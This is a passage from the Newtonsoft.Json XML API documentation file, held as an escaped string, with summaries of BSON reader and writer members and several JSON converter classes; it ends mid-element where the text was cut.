    "content": "<?xml version=\"1.0\"?>\n<doc>\n    <assembly>\n        <name>Newtonsoft.Json</name>\n    </assembly>\n    <members>\n        <member name=\"T:Newtonsoft.Json.Bson.BsonObjectId\">\n            <summary>\n            Represents a BSON Oid (object id).\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Bson.BsonObjectId.Value\">\n            <summary>\n            Gets or sets the value of the Oid.\n            </summary>\n            <value>The value of the Oid.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonObjectId.#ctor(System.Byte[])\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Bson.BsonObjectId\"/> class.\n            </summary>\n            <param name=\"value\">The Oid value.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Bson.BsonReader\">\n            <summary>\n            Represents a reader that provides fast, non-cached, forward-only access to serialized BSON data.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Bson.BsonReader.JsonNet35BinaryCompatibility\">\n            <summary>\n            Gets or sets a value indicating whether binary data reading should be compatible with incorrect Json.NET 3.5 written binary.\n            </summary>\n            <value>\n            \t<c>true</c> if binary data reading will be compatible with incorrect Json.NET 3.5 written binary; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Bson.BsonReader.ReadRootValueAsArray\">\n            <summary>\n            Gets or sets a value indicating whether the root object will be read as a JSON array.\n            </summary>\n            <value>\n            \t<c>true</c> if the root object will be read as a JSON array; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Bson.BsonReader.DateTimeKindHandling\">\n            <summary>\n            Gets or sets the <see cref=\"T:System.DateTimeKind\" /> used when reading <see cref=\"T:System.DateTime\"/> values from BSON.\n            </summary>\n            <value>The <see cref=\"T:System.DateTimeKind\" /> used when reading <see cref=\"T:System.DateTime\"/> values from BSON.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonReader.#ctor(System.IO.Stream)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Bson.BsonReader\"/> class.\n            </summary>\n            <param name=\"stream\">The <see cref=\"T:System.IO.Stream\"/> containing the BSON data to read.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonReader.#ctor(System.IO.BinaryReader)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Bson.BsonReader\"/> class.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:System.IO.BinaryReader\"/> containing the BSON data to read.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonReader.#ctor(System.IO.Stream,System.Boolean,System.DateTimeKind)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Bson.BsonReader\"/> class.\n            </summary>\n            <param name=\"stream\">The <see cref=\"T:System.IO.Stream\"/> containing the BSON data to read.</param>\n            <param name=\"readRootValueAsArray\">if set to <c>true</c> the root object will be read as a JSON array.</param>\n            <param name=\"dateTimeKindHandling\">The <see cref=\"T:System.DateTimeKind\" /> used when reading <see cref=\"T:System.DateTime\"/> values from BSON.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonReader.#ctor(System.IO.BinaryReader,System.Boolean,System.DateTimeKind)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Bson.BsonReader\"/> class.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:System.IO.BinaryReader\"/> containing the BSON data to read.</param>\n            <param name=\"readRootValueAsArray\">if set to <c>true</c> the root object will be read as a JSON array.</param>\n            <param name=\"dateTimeKindHandling\">The <see cref=\"T:System.DateTimeKind\" /> used when reading <see cref=\"T:System.DateTime\"/> values from BSON.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonReader.Read\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:System.IO.Stream\"/>.\n            </summary>\n            <returns>\n            <c>true</c> if the next token was read successfully; <c>false</c> if there are no more tokens to read.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonReader.Close\">\n            <summary>\n            Changes the reader's state to <see cref=\"F:Newtonsoft.Json.JsonReader.State.Closed\"/>.\n            If <see cref=\"P:Newtonsoft.Json.JsonReader.CloseInput\"/> is set to <c>true</c>, the underlying <see cref=\"T:System.IO.Stream\"/> is also closed.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Bson.BsonWriter\">\n            <summary>\n            Represents a writer that provides a fast, non-cached, forward-only way of generating BSON data.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Bson.BsonWriter.DateTimeKindHandling\">\n            <summary>\n            Gets or sets the <see cref=\"T:System.DateTimeKind\" /> used when writing <see cref=\"T:System.DateTime\"/> values to BSON.\n            When set to <see cref=\"F:System.DateTimeKind.Unspecified\" /> no conversion will occur.\n            </summary>\n            <value>The <see cref=\"T:System.DateTimeKind\" /> used when writing <see cref=\"T:System.DateTime\"/> values to BSON.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.#ctor(System.IO.Stream)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Bson.BsonWriter\"/> class.\n            </summary>\n            <param name=\"stream\">The <see cref=\"T:System.IO.Stream\"/> to write to.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.#ctor(System.IO.BinaryWriter)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Bson.BsonWriter\"/> class.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:System.IO.BinaryWriter\"/> to write to.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.Flush\">\n            <summary>\n            Flushes whatever is in the buffer to the underlying <see cref=\"T:System.IO.Stream\"/> and also flushes the underlying stream.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteEnd(Newtonsoft.Json.JsonToken)\">\n            <summary>\n            Writes the end.\n            </summary>\n            <param name=\"token\">The token.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteComment(System.String)\">\n            <summary>\n            Writes a comment <c>/*...*/</c> containing the specified text.\n            </summary>\n            <param name=\"text\">Text to place inside the comment.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteStartConstructor(System.String)\">\n            <summary>\n            Writes the start of a constructor with the given name.\n            </summary>\n            <param name=\"name\">The name of the constructor.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteRaw(System.String)\">\n            <summary>\n            Writes raw JSON.\n            </summary>\n            <param name=\"json\">The raw JSON to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteRawValue(System.String)\">\n            <summary>\n            Writes raw JSON where a value is expected and updates the writer's state.\n            </summary>\n            <param name=\"json\">The raw JSON to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteStartArray\">\n            <summary>\n            Writes the beginning of a JSON array.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteStartObject\">\n            <summary>\n            Writes the beginning of a JSON object.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WritePropertyName(System.String)\">\n            <summary>\n            Writes the property name of a name/value pair on a JSON object.\n            </summary>\n            <param name=\"name\">The name of the property.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.Close\">\n            <summary>\n            Closes this writer.\n            If <see cref=\"P:Newtonsoft.Json.JsonWriter.CloseOutput\"/> is set to <c>true</c>, the underlying <see cref=\"T:System.IO.Stream\"/> is also closed.\n            If <see cref=\"P:Newtonsoft.Json.JsonWriter.AutoCompleteOnClose\"/> is set to <c>true</c>, the JSON is auto-completed.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Object)\">\n            <summary>\n            Writes a <see cref=\"T:System.Object\"/> value.\n            An error will raised if the value cannot be written as a single JSON token.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Object\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteNull\">\n            <summary>\n            Writes a null value.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteUndefined\">\n            <summary>\n            Writes an undefined value.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.String)\">\n            <summary>\n            Writes a <see cref=\"T:System.String\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.String\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Int32)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int32\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.UInt32)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt32\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Int64)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int64\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.UInt64)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt64\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Single)\">\n            <summary>\n            Writes a <see cref=\"T:System.Single\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Single\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Double)\">\n            <summary>\n            Writes a <see cref=\"T:System.Double\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Double\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Boolean)\">\n            <summary>\n            Writes a <see cref=\"T:System.Boolean\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Boolean\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Int16)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int16\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.UInt16)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt16\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Char)\">\n            <summary>\n            Writes a <see cref=\"T:System.Char\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Char\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Byte)\">\n            <summary>\n            Writes a <see cref=\"T:System.Byte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Byte\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.SByte)\">\n            <summary>\n            Writes a <see cref=\"T:System.SByte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.SByte\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Decimal)\">\n            <summary>\n            Writes a <see cref=\"T:System.Decimal\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Decimal\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.DateTime)\">\n            <summary>\n            Writes a <see cref=\"T:System.DateTime\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.DateTime\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.DateTimeOffset)\">\n            <summary>\n            Writes a <see cref=\"T:System.DateTimeOffset\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.DateTimeOffset\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Byte[])\">\n            <summary>\n            Writes a <see cref=\"T:System.Byte\"/>[] value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Byte\"/>[] value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Guid)\">\n            <summary>\n            Writes a <see cref=\"T:System.Guid\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Guid\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.TimeSpan)\">\n            <summary>\n            Writes a <see cref=\"T:System.TimeSpan\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.TimeSpan\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Uri)\">\n            <summary>\n            Writes a <see cref=\"T:System.Uri\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Uri\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteObjectId(System.Byte[])\">\n            <summary>\n            Writes a <see cref=\"T:System.Byte\"/>[] value that represents a BSON object id.\n            </summary>\n            <param name=\"value\">The Object ID value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteRegex(System.String,System.String)\">\n            <summary>\n            Writes a BSON regex.\n            </summary>\n            <param name=\"pattern\">The regex pattern.</param>\n            <param name=\"options\">The regex options.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.ConstructorHandling\">\n            <summary>\n            Specifies how constructors are used when initializing objects during deserialization by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.ConstructorHandling.Default\">\n            <summary>\n            First attempt to use the public default constructor, then fall back to a single parameterized constructor, then to the non-public default constructor.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.ConstructorHandling.AllowNonPublicDefaultConstructor\">\n            <summary>\n            Json.NET will use a non-public default constructor before falling back to a parameterized constructor.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.BinaryConverter\">\n            <summary>\n            Converts a binary value to and from a base 64 string value.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.BinaryConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.BinaryConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.BinaryConverter.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.BsonObjectIdConverter\">\n            <summary>\n            Converts a <see cref=\"T:Newtonsoft.Json.Bson.BsonObjectId\"/> to and from JSON and BSON.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.BsonObjectIdConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.BsonObjectIdConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.BsonObjectIdConverter.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.CustomCreationConverter`1\">\n            <summary>\n            Creates a custom object.\n            </summary>\n            <typeparam name=\"T\">The object type to convert.</typeparam>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.CustomCreationConverter`1.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.CustomCreationConverter`1.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.CustomCreationConverter`1.Create(System.Type)\">\n            <summary>\n            Creates an object which will then be populated by the serializer.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>The created object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.CustomCreationConverter`1.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Converters.CustomCreationConverter`1.CanWrite\">\n            <summary>\n            Gets a value indicating whether this <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> can write JSON.\n            </summary>\n            <value>\n            \t<c>true</c> if this <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> can write JSON; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.DataSetConverter\">\n            <summary>\n            Converts a <see cref=\"T:System.Data.DataSet\"/> to and from JSON.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.DataSetConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.DataSetConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.DataSetConverter.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified value type.\n            </summary>\n            <param name=\"valueType\">Type of the value.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified value type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.DataTableConverter\">\n            <summary>\n            Converts a <see cref=\"T:System.Data.DataTable\"/> to and from JSON.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.DataTableConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.DataTableConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.DataTableConverter.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified value type.\n            </summary>\n            <param name=\"valueType\">Type of the value.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified value type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.DateTimeConverterBase\">\n            <summary>\n            Provides a base class for converting a <see cref=\"T:System.DateTime\"/> to and from JSON.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.DateTimeConverterBase.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.DiscriminatedUnionConverter\">\n            <summary>\n            Converts a F# discriminated union type to and from JSON.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.DiscriminatedUnionConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.DiscriminatedUnionConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.DiscriminatedUnionConverter.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.EntityKeyMemberConverter\">\n            <summary>\n            Converts an Entity Framework <see cref=\"T:System.Data.EntityKeyMember\"/> to and from JSON.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.EntityKeyMemberConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.EntityKeyMemberConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.EntityKeyMemberConverter.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.ExpandoObjectConverter\">\n            <summary>\n            Converts an <see cref=\"T:System.Dynamic.ExpandoObject\"/> to and from JSON.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.ExpandoObjectConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.ExpandoObjectConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.ExpandoObjectConverter.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Converters.ExpandoObjectConverter.CanWrite\">\n            <summary>\n            Gets a value indicating whether this <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> can write JSON.\n            </summary>\n            <value>\n            \t<c>true</c> if this <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> can write JSON; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.IsoDateTimeConverter\">\n            <summary>\n            Converts a <see cref=\"T:System.DateTime\"/> to and from the ISO 8601 date format (e.g. <c>\"2008-04-12T12:53Z\"</c>).\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Converters.IsoDateTimeConverter.DateTimeStyles\">\n            <summary>\n            Gets or sets the date time styles used when converting a date to and from JSON.\n            </summary>\n            <value>The date time styles used when converting a date to and from JSON.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Converters.IsoDateTimeConverter.DateTimeFormat\">\n            <summary>\n            Gets or sets the date time format used when converting a date to and from JSON.\n            </summary>\n            <value>The date time format used when converting a date to and from JSON.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Converters.IsoDateTimeConverter.Culture\">\n            <summary>\n            Gets or sets the culture used when converting a date to and from JSON.\n            </summary>\n            <value>The culture used when converting a date to and from JSON.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.IsoDateTimeConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member 